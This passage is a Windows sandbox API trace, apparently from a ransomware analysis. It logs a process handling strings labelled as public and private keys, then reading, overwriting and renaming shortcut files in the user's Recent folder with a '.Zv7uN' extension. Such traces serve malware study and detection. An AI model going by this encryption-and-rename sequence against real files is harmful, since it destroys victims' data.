MOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0079.826] GetCurrentThreadId () returned 0xa30 [0079.826] GetCurrentThreadId () returned 0xa30 [0079.826] GetCurrentThreadId () returned 0xa30 [0079.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.828] GetCurrentThreadId () returned 0xa30 [0079.828] GetCurrentThreadId () returned 0xa30 [0079.828] GetCurrentThreadId () returned 0xa30 [0079.828] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7nadXsUY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7nadxsuy.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.828] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.828] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.828] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x19e6 [0079.828] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.828] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x19e6, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x19e6, lpOverlapped=0x0) returned 1 [0079.832] CloseHandle (hObject=0x124) returned 1 [0079.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7nadXsUY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7nadxsuy.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.834] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x19e6, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x19e6, lpOverlapped=0x0) returned 1 [0079.836] CloseHandle (hObject=0x124) returned 1 [0079.841] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7nadXsUY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7nadxsuy.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7nadXsUY.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7nadxsuy.lnk.zv7un")) returned 1 [0079.843] GetCurrentThreadId () returned 0xa30 [0079.843] GetCurrentThreadId () returned 0xa30 [0079.843] GetCurrentThreadId () returned 0xa30 [0079.843] GetCurrentThreadId () returned 0xa30 [0079.843] GetCurrentThreadId () returned 0xa30 [0079.843] GetCurrentThreadId () returned 0xa30 [0079.843] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1b5e40, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d1b5e40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d1b5e40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="7vWXs5wOoyRqHSZ3.lnk", cAlternateFileName="7VWXS5~1.LNK")) returned 1 [0079.843] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.843] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.843] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7vWXs5wOoyRqHSZ3.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7vwxs5wooyrqhsz3.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1b5e40, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d1b5e40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d1b5e40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1fd)) returned 1 [0079.843] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7vWXs5wOoyRqHSZ3.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7vwxs5wooyrqhsz3.lnk")) returned 0x20 [0079.844] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7vWXs5wOoyRqHSZ3.lnk", dwFileAttributes=0x80) returned 1 [0079.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.848] GetCurrentThreadId () returned 0xa30 [0079.848] GetCurrentThreadId () returned 0xa30 [0079.848] GetCurrentThreadId () returned 0xa30 [0079.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 